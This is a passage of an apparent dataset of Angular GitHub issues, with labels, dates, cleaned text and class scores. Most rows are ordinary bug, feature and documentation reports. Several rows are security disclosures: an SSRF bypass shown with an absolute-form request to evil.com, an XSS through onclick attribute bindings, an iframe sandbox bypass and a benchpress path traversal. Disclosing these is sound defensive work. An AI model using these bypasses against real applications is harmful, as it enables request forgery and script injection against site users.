Allow `XhrFactory.build()` to optionally receive the `HttpRequest`.

Example:

~~~ts
abstract class XhrFactory {
  abstract build(req: HttpRequest<unknown>): XMLHttpRequest;
}
~~~

Angular’s internal usage could pass the request when creating the XHR:

~~~ts
const xhr = this.xhrFactory.build(req);
~~~

A custom implementation could then read metadata from `HttpContext` and attach it to the XHR:

~~~ts
@Injectable()
export class CustomXhrFactory implements XhrFactory {
  build(req: HttpRequest<unknown>): XMLHttpRequest {
    const xhr = new XMLHttpRequest();

    const metadata = req.context.get(MY_METADATA_CONTEXT_TOKEN);

    if (metadata) {
      (xhr as any).__metadata = metadata;
    }

    return xhr;
  }
}
~~~

The parameter should be optional so existing `XhrFacto... [TRUNCATED]","area: common/http,needs: clarification",2026-05-05 12:17:55+00:00,2026-05-06 16:47:36+00:00,5,"area: common/http,needs: clarification",1.1873,allow passing to for request aware xhr customization which angular package s are relevant related to the feature request common description uses to create instances currently does not receive the associated so a custom cannot access request specific data in our case metadata is added to the request using we want to read that metadata in a custom and attach it to the created existing tracing instrumentation code can then pick up the metadata from the xhr object without access to the there is no clean way to connect metadata with the created xhr instance proposed solution allow to optionally receive the example ts abstract class xhrfactory abstract build req httprequest xmlhttprequest angular s internal usage could pass the request when creating the xhr ts const xhr this xhrfactory build req a custom implementation could then read metadata from and attach it to the xhr ts injectable export class customxhrfactory implements xhrfactory build req httprequest xmlhttprequest const xhr new xmlhttprequest const metadata req context get my metadata context token if metadata xhr as any metadata metadata return xhr the parameter should be optional so existing xhrfacto truncated,feature,0.9042
angular/angular,4372487609,Copy button overlaps code content in code blocks on smaller screens,"### Describe the problem that you experienced

The copy button in code blocks is positioned inside the code container and overlaps with the code content.

On smaller screens or when the code block is horizontally scrollable, the copy icon covers part of the code, making it difficult to read or copy correctly.

This creates a usability and readability issue in the documentation UI.

### Enter the URL of the topic with the problem

https://angular.dev/guide/forms/dynamic-forms  http://localhost:4201/guide/forms/dynamic-forms  

### Describe what you were looking for in the documentation

I was reading the Dynamic Forms guide and reviewing the example code blocks to understand how the form components are structured and implemented.

### Describe the actions that led you to experience the problem

1. Opened the Dynamic Forms guide.
2. Viewed code blocks on a smaller screen or reduced browser width.
3. Scrolled horizontally within the code block.
4. Observed that the copy button overlaps and hides part of the code content.

### Describe what you want to experience that would fix the problem

The copy button should not overlap with the code content.

It should be positioned in a way that does not interfere with readability, for example:
- Placed in the header row (near the file name)
- Or positioned outside the scrollable code area
- Or styled to avoid covering code text

### Add a screenshot if that helps illustrate the problem

<img width=""1155"" height=""973"" alt=""Image"" src=""http... [TRUNCATED]","area: docs-infra,gemini-triaged",2026-05-03 17:32:41+00:00,2026-06-08 21:19:51+00:00,1,"area: docs-infra,gemini-triaged",36.1578,copy button overlaps code content in code blocks on smaller screens describe the problem that you experienced the copy button in code blocks is positioned inside the code container and overlaps with the code content on smaller screens or when the code block is horizontally scrollable the copy icon covers part of the code making it difficult to read or copy correctly this creates a usability and readability issue in the documentation ui enter the url of the topic with the problem describe what you were looking for in the documentation i was reading the dynamic forms guide and reviewing the example code blocks to understand how the form components are structured and implemented describe the actions that led you to experience the problem opened the dynamic forms guide viewed code blocks on a smaller screen or reduced browser width scrolled horizontally within the code block observed that the copy button overlaps and hides part of the code content describe what you want to experience that would fix the problem the copy button should not overlap with the code content it should be positioned in a way that does not interfere with readability for example placed in the header row near the file name or positioned outside the scrollable code area or styled to avoid covering code text add a screenshot if that helps illustrate the problem img width height alt image src http truncated,documentation,-0.9462
angular/angular,4365752107,[Signal Forms] required validator function treats false as not present,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When I use the `required` validator function on a boolean field, I get a validation error when the field value is `false`.

I think `false` is a valid value for a boolean field so this should be fixed.

It's not a regression - was there from the beginning ([commit](https://github.com/angular/angular/commit/b8314bd3409500b8540d1ce00a330fdb2f0fc83a#diff-155f5f18471fdd49213aa714ff8d2a938c3899e0711942c36dfab8acb4fdefadR39)) and refactored into an `isEmpty` util function later ([commit](https://github.com/angular/angular/commit/10ef96adb3d989781c7ec5116a70b6518866ee27))


The reactive forms [Validators.required](https://github.com/angular/angular/blob/main/packages/forms/src/validators.ts#L233) uses an [isEmptyInputValue](https://github.com/angular/angular/blob/main/packages/forms/src/validators.ts#L28) util function, which does a better job IMO

Cheers!

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.8
Angular           : 21.2.10
Node.js           : 24.15.0
Package Manager   : npm 11.12.1
Operating System  : linux x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Reques... [TRUNCATED]","area: forms,gemini-triaged",2026-05-01 17:30:21+00:00,2026-06-08 19:54:43+00:00,3,"area: forms,gemini-triaged",38.1003,signal forms required validator function treats false as not present which angular package s are the source of the bug forms is this a regression no description when i use the validator function on a boolean field i get a validation error when the field value is i think is a valid value for a boolean field so this should be fixed it s not a regression was there from the beginning commit and refactored into an util function later commit the reactive forms validators required uses an isemptyinputvalue util function which does a better job imo cheers please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version reques truncated,others,0.5423
angular/angular,4363909417,`ng update --next` caused dupicated `withNoIncrementalHydration` in secondary project,"### Command

update

### Is this a regression?

- [x] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

22-next-4 (not entierly sure)

### Description

After running an upgrade, I found a duplicate `withNoIncrementalHydration()` in the `app.config` of a secondary project.  (if you want to try, it happend in my [samples](https://github.com/SanderElias/Samples) repo) 

### Minimal Reproduction

Pull my samples repo, run `ng update --next`, and there will be a couple of changes that should not be there, one of them is the duplicated issue. The other ones are putting in an `wihtXHR` that should not be there since this porject moved to `withFetch` long ago

### Exception or Error

```text

```

### Your Environment

```text
_                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/
    

Angular CLI       : 22.0.0-next.7
Angular           : 22.0.0-next.10
Node.js           : 24.15.0
Package Manager   : pnpm 10.33.2
Operating System  : linux x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼────────────────... [TRUNCATED]","area: migrations,gemini-triaged",2026-05-01 10:14:14+00:00,2026-05-01 23:01:30+00:00,1,"area: migrations,gemini-triaged",0.5328,caused dupicated in secondary project command update is this a regression x yes this behavior used to work in the previous version the previous version in which this bug was not present was next not entierly sure description after running an upgrade i found a duplicate in the of a secondary project if you want to try it happend in my samples repo pull my samples repo run and there will be a couple of changes that should not be there one of them is the duplicated issue the other ones are putting in an that should not be there since this porject moved to long ago exception or error your environment text angular cli next angular next node js package manager pnpm linux x package installed version requested version truncated,others,-0.6664
angular/angular,4358211918,Signal formField range input with min/max does not correctly render,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

I want to display a `range` input with `min` & `max` limits.

### Using non-signal form control, I can do it this way:

```html
{{ range.value }}
<input type=""range"" [formControl]=""range"" min=""100"" max=""200"" />
```

```ts
protected readonly range = new FormControl(150, { validators: [
  Validators.min(100),
  Validators.max(200),
] });
```

And it will correctly display the range input like this:

<img width=""341"" height=""96"" alt=""Image"" src=""https://github.com/user-attachments/assets/36cb6a26-3c39-4ae3-a58a-ba0574b89f1c"" />

### But when switching to signal form fields:

```html
{{ form.range().value() }}
<input type=""range"" [formField]=""form.range"" />
<!--
  Here I cannot set the min/max attributes, because they are automatically added by Angular
  If I add them myself, I get the following errors:
   - Setting the 'min' attribute is not allowed on nodes using the '[formField]' directive
   - Setting the 'max' attribute is not allowed on nodes using the '[formField]' directive
-->
```

```ts
protected readonly form = form(signal({ range: 150 }), (path) => {
  min(path.range, 100);
  max(path.range, 200);
});
```

It will not correctly display the range input:

<img width=""353"" height=""94"" alt=""Image"" src=""https://github.com/user-attachments/assets/73baa219-e91d-42ff-8839-003dfaef33e5"" />



### Please provide a link to a minimal reproduction of the bug

_No resp... [TRUNCATED]","area: forms,forms: signals",2026-04-30 12:48:57+00:00,2026-05-05 23:26:05+00:00,3,"area: forms,forms: signals",5.4425,signal formfield range input with min max does not correctly render which angular package s are the source of the bug forms is this a regression no description i want to display a input with limits using non signal form control i can do it this way and it will correctly display the range input like this but when switching to signal form fields it will not correctly display the range input please provide a link to a of the bug no resp truncated,others,-0.6757
angular/angular,4358039371,FieldState required and pattern properties link to validator documentation instead of their own documentation,"### Describe the problem that you experienced

When clicking on the `required` or `pattern` property in the `FieldState` reference documentation, I expect to scroll to the documentation for those properties.
Instead, the link navigates to the documentation of the required/pattern validation functions.

### Enter the URL of the topic with the problem

https://angular.dev/api/forms/signals/FieldState

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,area: docs",2026-04-30 12:23:45+00:00,2026-05-01 22:58:45+00:00,5,"area: docs-infra,area: docs",1.441,fieldstate required and pattern properties link to validator documentation instead of their own documentation describe the problem that you experienced when clicking on the or property in the reference documentation i expect to scroll to the documentation for those properties instead the link navigates to the documentation of the required pattern validation functions enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9565
angular/angular,4356492086,Custom selects with <selectedcontent> and FormField crash the app with no error in an infinite loop,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Hello,

When trying to use the signals forms API with a custom select (using <selectedcontent>) the app will crash, probably stuck in an infinite re-rendering loop.

It works well without <selectedcontent>, so I supposed this has something to do with the way the content is projected by the standard API inside of the select when using this element.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-vbthyxw5?file=src%2Fapp%2Fapp.ts

### Please provide the exception or error you saw

```true
The app does not load at all, looping infinitely. I was not able to capture function calls to see what was causing this freeze.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.9
Angular           : 21.2.11
Node.js           : 20.19.5
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations       │ 21.2.11           │ ^21.2.11          │
│ @angular/build            │ 21.2.9            │ ^21.2.9           │
│ @angular/cli              │ 21.2.9            │ ^21.2.9           │
│ @angular/common           │ 21.2.11    ... [TRUNCATED]","area: forms,gemini-triaged",2026-04-30 08:20:00+00:00,2026-04-30 09:11:07+00:00,3,"area: forms,gemini-triaged",0.0355,custom selects with and formfield crash the app with no error in an infinite loop which angular package s are the source of the bug forms is this a regression no description hello when trying to use the signals forms api with a custom select using the app will crash probably stuck in an infinite re rendering loop it works well without so i supposed this has something to do with the way the content is projected by the standard api inside of the select when using this element please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular animations angular build angular cli angular common truncated,bug,-0.9559
angular/angular,4352199266,OutputEmitterRef.emit() doesn't untrack listeners,"Calling `.emit()` on an `output()` synchronously calls listeners, but doesn't untrack them. This means that any signals which are incidentally read in listeners end up tracked in the reactive context of the caller.","area: core,core: inputs / outputs,core: reactivity",2026-04-29 16:45:23+00:00,2026-04-30 22:41:03+00:00,3,"area: core,core: inputs / outputs,core: reactivity",1.247,outputemitterref emit doesn t untrack listeners calling on an synchronously calls listeners but doesn t untrack them this means that any signals which are incidentally read in listeners end up tracked in the reactive context of the caller,others,0.0
angular/angular,4351717878,Mixing `@ViewChild` decorators with `viewChild()` signals causes query slot mismatch in JIT mode,"### Which @angular/* package(s) are the source of the bug?

core, compiler

### Is this a regression?

Yes

### Description

When a component uses both `@ViewChild` decorators and `viewChild()` signal-based queries in JIT compilation mode (`aot: false`), the `@ViewChild` decorator queries return the wrong elements. Each decorator query result is shifted by one slot and the signal query's element appears in the first `@ViewChild` result, and the last `@ViewChild` loses its result entirely.

Signal-based `viewChild()` queries resolve correctly; only the decorator-based `@ViewChild` queries are affected.

The issue does not occur when:
- Using AOT compilation
- Using only `@ViewChild` decorators in the component
- Using only `viewChild()` signals in the component

### Observed behavior

Given this standalone component bootstrapped with `bootstrapApplication`:
```typescript
@Component({
  selector: 'app-root',
  standalone: true,
  template: `
    <div #item1 class=""item-1"">Item 1</div>
    <div #item2 class=""item-2"">Item 2</div>
    <div #item3 class=""item-3"">Item 3</div>
    <div #item4 class=""item-4"">Item 4</div>
    <div #item5 class=""item-5"">Item 5</div>
  `
})
export class AppComponent implements AfterViewInit {
  @ViewChild('item1') item1!: ElementRef;
  @ViewChild('item2') item2!: ElementRef;
  @ViewChild('item3') item3!: ElementRef;
  @ViewChild('item4') item4!: ElementRef;

  item5 = viewChild<ElementRef>('item5');

  ngAfterViewInit(): void {
    console.log(this.item1... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-29 15:23:38+00:00,2026-04-29 15:29:08+00:00,3,"area: compiler,gemini-triaged",0.0038,mixing decorators with signals causes query slot mismatch in jit mode which angular package s are the source of the bug core compiler is this a regression yes description when a component uses both decorators and signal based queries in jit compilation mode the decorator queries return the wrong elements each decorator query result is shifted by one slot and the signal query s element appears in the first result and the last loses its result entirely signal based queries resolve correctly only the decorator based queries are affected the issue does not occur when using aot compilation using only decorators in the component using only signals in the component observed behavior given this standalone component bootstrapped with typescript component selector app root standalone true template item item item item item export class appcomponent implements afterviewinit viewchild item item elementref viewchild item item elementref viewchild item item elementref viewchild item item elementref item viewchild item ngafterviewinit void console log this item truncated,others,-0.25
angular/angular,4349678232,Signal Form `fieldTree` not updated when the form's model adds elements to array properties at runtime,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

I have a complex `signalForm` whose model can change at runtime based on an API response.

```ts
export const initialFormData: SearchFormModel = {
  documentalStructure: [], // this field triggers the API call on each change
  // ...
  metadata: {
    commonMetadata: [],
    mixins: [],
    additionalMetadata: [],
  },
  extendedFilters: {
    // ...
  },
};
```

When the user sets a value in the `documentalStructure` field, an API call is made to retrieve 3 lists of data. The form model has a `metadata` property (an object containing those 3 lists).

The form model is a `linkedSignal` whose source is a signal holding the 3 lists from a `signalStore`. When the API call completes and the lists are updated, the `linkedSignal` computation runs and generates initial values for every element of each list, so the user can fill them in via the UI.

```ts
private readonly _searchFormModel = linkedSignal<FoldersCommonMetadata, SearchFormModel>({
  source: this._store.foldersMetadata,
  computation: (foldersMetadata, previous) => {
    // utility to set default value for each list element
    const setValue = (metadata: MetadataOm): { value: null; operator: MetadataOperator } => ({
      value: null,
      operator: DocumentsSearchFormService.getMetadataDefaultOperator(metadata.uiControlType, metadata.dataType),
    });

    // ...

    // iterate over the lists and popula... [TRUNCATED]","needs reproduction,area: forms,forms: signals",2026-04-29 10:18:47+00:00,2026-04-30 14:12:28+00:00,3,"needs reproduction,area: forms,forms: signals",1.1623,signal form not updated when the form s model adds elements to array properties at runtime which angular package s are the source of the bug forms is this a regression no description i have a complex whose model can change at runtime based on an api response when the user sets a value in the field an api call is made to retrieve lists of data the form model has a property an object containing those lists the form model is a whose source is a signal holding the lists from a when the api call completes and the lists are updated the computation runs and generates initial values for every element of each list so the user can fill them in via the ui ts private readonly searchformmodel linkedsignal source this store foldersmetadata computation foldersmetadata previous utility to set default value for each list element const setvalue metadata metadataom value null operator metadataoperator value null operator documentssearchformservice getmetadatadefaultoperator metadata uicontroltype metadata datatype iterate over the lists and popula truncated,others,0.7269
angular/angular,4348484776,SSRF Bypass via Absolute-Form URLs in Core Rendering APIs,"### Which @angular/* package(s) are the source of the bug?

platform-server

### Is this a regression?

Yes

### Description

The `parseUrl` function in `ServerPlatformLocation` (`packages/platform-server/src/location.ts`) was recently updated to block SSRF via protocol-relative (`//evil.com`) and backslash (`/\evil.com`) URLs by checking whether the URL string starts with `/`. If it does, the server origin is prepended before parsing.

This check does not cover HTTP/1.1 absolute-form request targets.

Per RFC 7230, a client can send a request where the full URL is the request target:

```
GET http://evil.com/ HTTP/1.1
Host: localhost
```

When Nginx, AWS ALB, or any standard reverse proxy forwards this to Node.js, Express receives `req.url = ""http://evil.com/""`. That string starts with `h`, not `/`, so the guard condition `urlStr[0] === '/'` evaluates to false. The origin is not prepended. `new URL(""http://evil.com/"")` parses cleanly and assigns `evil.com` as `ServerPlatformLocation.hostname`.

From that point, the SSR HTTP interceptor (`relativeUrlsTransformerInterceptorFn` in `http.ts`) treats `evil.com` as the base for all relative `HttpClient` requests made during rendering. A call to `/api/config` inside the Angular component goes out as `http://evil.com/api/config` — to an external server — silently, server-side, with no error thrown and no CSR fallback triggered.

The commit message for `ede7c58a2a` itself called out this exact pattern as the typical attack surface:

... [TRUNCATED]","security,area: server,gemini-triaged",2026-04-29 06:48:51+00:00,2026-05-07 22:30:05+00:00,4,"security,area: server,gemini-triaged",8.6536,ssrf bypass via absolute form urls in core rendering apis which angular package s are the source of the bug platform server is this a regression yes description the function in was recently updated to block ssrf via protocol relative and backslash urls by checking whether the url string starts with if it does the server origin is prepended before parsing this check does not cover http absolute form request targets per rfc a client can send a request where the full url is the request target when nginx aws alb or any standard reverse proxy forwards this to node js express receives that string starts with not so the guard condition evaluates to false the origin is not prepended parses cleanly and assigns as from that point the ssr http interceptor in treats as the base for all relative requests made during rendering a call to inside the angular component goes out as to an external server silently server side with no error thrown and no csr fallback triggered the commit message for itself called out this exact pattern as the typical attack surface truncated,others,-0.8885
angular/angular,4346097151,Highlighted text on angular.dev is rainbow coloured,"### Describe the problem that you experienced

If you select the text on any page of the angular documentation, the highlighted colour changes between paragraphs / lines in lists / tokens in files. I think there are three, maybe four, colours total. I can't see any obvious logic as to when it changes or why, so I assume this is a bug. If this is intentional, please feel free to close with no comments.

I've attached a screenshot which I think makes it clear. This is a screenshot of https://angular.dev/ai/develop-with-ai 

<img width=""1835"" height=""1436"" alt=""Image"" src=""https://github.com/user-attachments/assets/1cd2dfc7-193f-4853-bf13-3488c6397345"" />

### Enter the URL of the topic with the problem

https://angular.dev/ai/develop-with-ai

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

As I'm reading, I often click or select text / passages. While reading the angular docs, I noticed that the colour was changing. It was a bit distracting, and I spent some time trying to understand the logic. Presumably it's colourful to convey meaning? Maybe it's just meant to be pretty.

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, br... [TRUNCATED]","area: docs-infra,gemini-triaged",2026-04-28 20:43:48+00:00,2026-04-28 20:51:07+00:00,2,"area: docs-infra,gemini-triaged",0.0051,highlighted text on angular dev is rainbow coloured describe the problem that you experienced if you select the text on any page of the angular documentation the highlighted colour changes between paragraphs lines in lists tokens in files i think there are three maybe four colours total i can t see any obvious logic as to when it changes or why so i assume this is a bug if this is intentional please feel free to close with no comments i ve attached a screenshot which i think makes it clear this is a screenshot of enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem as i m reading i often click or select text passages while reading the angular docs i noticed that the colour was changing it was a bit distracting and i spent some time trying to understand the logic presumably it s colourful to convey meaning maybe it s just meant to be pretty describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os br truncated,documentation,-0.91
angular/angular,4345931458,Update guide external links open inconsistently (new tab vs. same tab),"### Describe the problem that you experienced

While working through the Angular update guide (https://angular.dev/update-guide), I noticed that external documentation links behave inconsistently, some open in a new tab, others navigate in the same tab. The recommendations.ts file currently has a mix of styles:

~11 entries use <a target=""_blank"">
~16 entries use <a> without target=""_blank""
~30 entries use markdown `[text](url) (renders without target=""_blank"")`
A few bare URLs

Small thing, but I found it a bit unpredictable when clicking through ""Read more"" links during an upgrade.

### Describe what you want to experience that would fix the problem

I'd suggest going with target=""_blank"" consistently across all entries. During an upgrade, users are typically working through the checklist top-to-bottom and clicking ""Read more"" links to research individual steps,  opening those in a new tab keeps the checklist available so users can read the linked docs and come back without breaking their flow. It's also nicer when you want to compare the checklist alongside the linked guide. Plus the file already leans this way (~11 entries use it), so adopting it everywhere is a low-churn cleanup.

Happy to open a PR if the team's on board.

","open for contributions,area: docs-infra,gemini-triaged",2026-04-28 20:13:51+00:00,2026-04-29 20:59:44+00:00,2,"open for contributions,area: docs-infra,gemini-triaged",1.0319,update guide external links open inconsistently new tab vs same tab describe the problem that you experienced while working through the angular update guide i noticed that external documentation links behave inconsistently some open in a new tab others navigate in the same tab the recommendations ts file currently has a mix of styles entries use entries use without target blank entries use markdown a few bare urls small thing but i found it a bit unpredictable when clicking through read more links during an upgrade describe what you want to experience that would fix the problem i d suggest going with target blank consistently across all entries during an upgrade users are typically working through the checklist top to bottom and clicking read more links to research individual steps opening those in a new tab keeps the checklist available so users can read the linked docs and come back without breaking their flow it s also nicer when you want to compare the checklist alongside the linked guide plus the file already leans this way entries use it so adopting it everywhere is a low churn cleanup happy to open a pr if the team s on board,feature,0.8481
angular/angular,4344680184,Using ES2025 with `Angular.ng-template` VSCode LSP yields template errors,"### Which @angular/* package(s) are the source of the bug?

language-service

### Is this a regression?

No

### Description

Using the latest version of ""Angular Language Service"" in VSCode (`21.2.3`) produces errors in Angular (both v21 and v22 currently) when `lib` uses `es2025`. The project runs without issues with `ng serve` & `ng build`.

Perhaps the extension & `@angular/language-service` bundles an older TypeScript version?

## Steps

Here's the steps to see the issue:

1. Generate an Angular v21/v22 project
2. Open VSCode with the Angular LSP extension installed
3. Use TypeScript version 6
4. Set `""lib"": [""dom"", ""es2025""]` in `tsconfig.json`
5. Ensure `angularCompilerOptions.trictTemplates` is set to `true` in `tsconfig.json`
6. Add the small snippet below to `app.ts`:
    ```html
    @let arr = [1, 2, 3];
    <p>Error: {{arr.at(0)}}</p>
    ```

Or open the `app.ts` file in the linked reproduction in VSCode.

<img width=""1210"" height=""305"" alt=""Image"" src=""https://github.com/user-attachments/assets/5f2202bb-b99c-4c27-a08b-f8930a6e09f1"" />

### Please provide a link to a minimal reproduction of the bug

https://github.com/csvn/ng-template-lsp-lib-issue

### Please provide the exception or error you saw

```true
Property 'at' does not exist on type 'number[]'. Do you need to change your target library? Try changing the 'lib' compiler option to 'es2022' or later.  ngtsc(2550)
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true... [TRUNCATED]",area: language-service,2026-04-28 16:22:42+00:00,2026-04-29 16:41:37+00:00,8,area: language-service,1.0131,using es with vscode lsp yields template errors which angular package s are the source of the bug language service is this a regression no description using the latest version of angular language service in vscode produces errors in angular both v and v currently when uses the project runs without issues with perhaps the extension bundles an older typescript version steps here s the steps to see the issue generate an angular v v project open vscode with the angular lsp extension installed use typescript version set in ensure is set to in add the small snippet below to or open the file in the linked reproduction in vscode please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true truncated,bug,-0.7717
angular/angular,4343191193,Security: Angular production mode allows `[attr.onclick]` and host `attr.onclick` bindings to become click-triggered XSS,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

## Report description
Angular production mode allows `[attr.onclick]` and host `attr.onclick` bindings to become click-triggered XSS

## The problem
### Please describe the technical details of the vulnerability

#### 1. technical details

Angular already has explicit validation that rejects `on*` attribute and property bindings:

```ts
override validateProperty(name: string): {error: boolean; msg?: string} {
  if (name.toLowerCase().startsWith('on')) {
    const msg =
      `Binding to event property '${name}' is disallowed for security reasons, ` +
      `please use (${name.slice(2)})=...` +
      `\nIf '${name}' is a directive input, make sure the directive is imported by the` +
      ` current module.`;
    return {error: true, msg: msg};
  } else {
    return {error: false};
  }
}

override validateAttribute(name: string): {error: boolean; msg?: string} {
  if (name.toLowerCase().startsWith('on')) {
    const msg =
      `Binding to event attribute '${name}' is disallowed for security reasons, ` +
      `please use (${name.slice(2)})=...`;
    return {error: true, msg: msg};
  } else {
    return {error: false};
  }
}
```

However, the main R3 template path explicitly bypasses that validation for bound element properties and attributes:

```ts
const bep = this.bindingParser.createBoundElementProperty(
  elementName,
  prop,
  /* skipValidation ... [TRUNCATED]","security,area: compiler,compiler: jit",2026-04-28 12:39:22+00:00,2026-05-07 22:19:24+00:00,1,"security,area: compiler,compiler: jit",9.4028,security angular production mode allows and host bindings to become click triggered xss which angular package s are the source of the bug don t known other is this a regression no description report description angular production mode allows and host bindings to become click triggered xss the problem please describe the technical details of the vulnerability technical details angular already has explicit validation that rejects attribute and property bindings however the main r template path explicitly bypasses that validation for bound element properties and attributes ts const bep this bindingparser createboundelementproperty elementname prop skipvalidation truncated,others,-0.8074
angular/angular,4343179156,Security: Angular i18n sandbox interpolation bypass lets same-origin preview iframes read parent-page data,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

## Report description
Angular i18n sandbox interpolation bypass lets same-origin preview iframes read parent-page data

## The problem
### Please describe the technical details of the vulnerability

#### 1. technical details

Angular treats several `iframe` policy attributes as security-sensitive and normally rejects dynamic
updates to them through `ɵɵvalidateAttribute`:

```ts
export function ɵɵvalidateAttribute<T = any>(value: T, tagName: string, attributeName: string): T {
  const lowerCaseTagName = tagName.toLowerCase();
  const lowerCaseAttrName = attributeName.toLowerCase();
  const validationConfig = SECURITY_SENSITIVE_ELEMENTS[lowerCaseTagName]?.[lowerCaseAttrName];
  if (!validationConfig) {
    return value;
  }

  const tNode = getSelectedTNode()!;
  if (tNode.type !== TNodeType.Element) {
    return value;
  }

  const lView = getLView();
  if (lowerCaseTagName === 'iframe') {
    const element = getNativeByTNode(tNode, lView) as RElement;
    enforceIframeSecurity(element as HTMLIFrameElement);
  }

  const errorMessage =
    ngDevMode &&
    `Angular has detected that the \`${attributeName}\` was applied ` +
      `as a binding to the <${tagName}> element${getTemplateLocationDetails(lView)}. ` +
      `For security reasons, the \`${attributeName}\` can be set on the <${tagName}> element ` +
      `as a static attribute only. \n` +
    ... [TRUNCATED]","area: i18n,security",2026-04-28 12:37:32+00:00,2026-04-30 22:47:14+00:00,1,"area: i18n,security",2.4234,security angular i n sandbox interpolation bypass lets same origin preview iframes read parent page data which angular package s are the source of the bug don t known other is this a regression no description report description angular i n sandbox interpolation bypass lets same origin preview iframes read parent page data the problem please describe the technical details of the vulnerability technical details angular treats several policy attributes as security sensitive and normally rejects dynamic updates to them through ts export function validateattribute value t tagname string attributename string t const lowercasetagname tagname tolowercase const lowercaseattrname attributename tolowercase const validationconfig security sensitive elements lowercasetagname lowercaseattrname if validationconfig return value const tnode getselectedtnode if tnode type tnodetype element return value const lview getlview if lowercasetagname iframe const element getnativebytnode tnode lview as relement enforceiframesecurity element as htmliframeelement const errormessage ngdevmode attributename attributename truncated,others,0.6486
angular/angular,4342675284,Benchpress report file path traversal via attacker-controlled benchmark id,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

#### 1. technical details

`@angular/benchpress` accepts a caller-controlled `id` in `Runner.sample({id})` and forwards it into `SampleDescription` without any path sanitization:

```ts
sample({
  id,
  execute,
  prepare,
  microMetrics,
  providers,
  userMetrics,
}: {
  id: string;
  execute?: Function;
  prepare?: Function;
  microMetrics?: {[key: string]: string};
  providers?: StaticProvider[];
  userMetrics?: {[key: string]: string};
}): Promise<SampleState> {
  const sampleProviders: StaticProvider[] = [
    _DEFAULT_PROVIDERS,
    this._defaultProviders,
    {provide: Options.SAMPLE_ID, useValue: id},
    {provide: Options.EXECUTE, useValue: execute},
  ];
```

```ts
{
  provide: SampleDescription,
  useFactory: (
    metric: Metric,
    id: string,
    forceGc: boolean,
    userAgent: string,
    validator: Validator,
    defaultDesc: {[key: string]: string},
    userDesc: {[key: string]: string},
  ) =>
    new SampleDescription(
      id,
      [{'forceGc': forceGc, 'userAgent': userAgent}, validator.describe(), defaultDesc, userDesc],
      metric.describe(),
    ),
```

`JsonFileReporter` then uses that `id` directly as part of the output filename and passes the resulting path to `fs.writeFile()`:

```ts
override reportSample(
  completeSample: MeasureValues[],
  validSample: MeasureValues[],
): Promise<any> {
  const stats: {[key: str... [TRUNCATED]","area: benchpress,security",2026-04-28 11:14:23+00:00,2026-04-28 19:51:01+00:00,2,"area: benchpress,security",0.3588,benchpress report file path traversal via attacker controlled benchmark id which angular package s are the source of the bug don t known other is this a regression no description technical details accepts a caller controlled in and forwards it into without any path sanitization then uses that directly as part of the output filename and passes the resulting path to ts override reportsample completesample measurevalues validsample measurevalues promise const stats key str truncated,others,-0.6486
angular/angular,4341345760,Component Selector parsing too permissive,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

One of my co-workers hallucinated the following component selector.

```
@Component({
  selector: '<some-component></some-component>',
  template: ` Hello world! `,
})
export class SomeComponent {}
```

Wanted to be cocky and tell him he surely didn't test his changes. Turns out this selector is actually somehow working. Can't find anywhere in the documentation that this should work. 
I tried to somehow determine how this boils down to a working CSS selector, but couldn't determine what dark magic makes this work.

Chrome doesn't like the syntax at least.
```
document.querySelector(""<user-roles-card></user-roles-card>"")
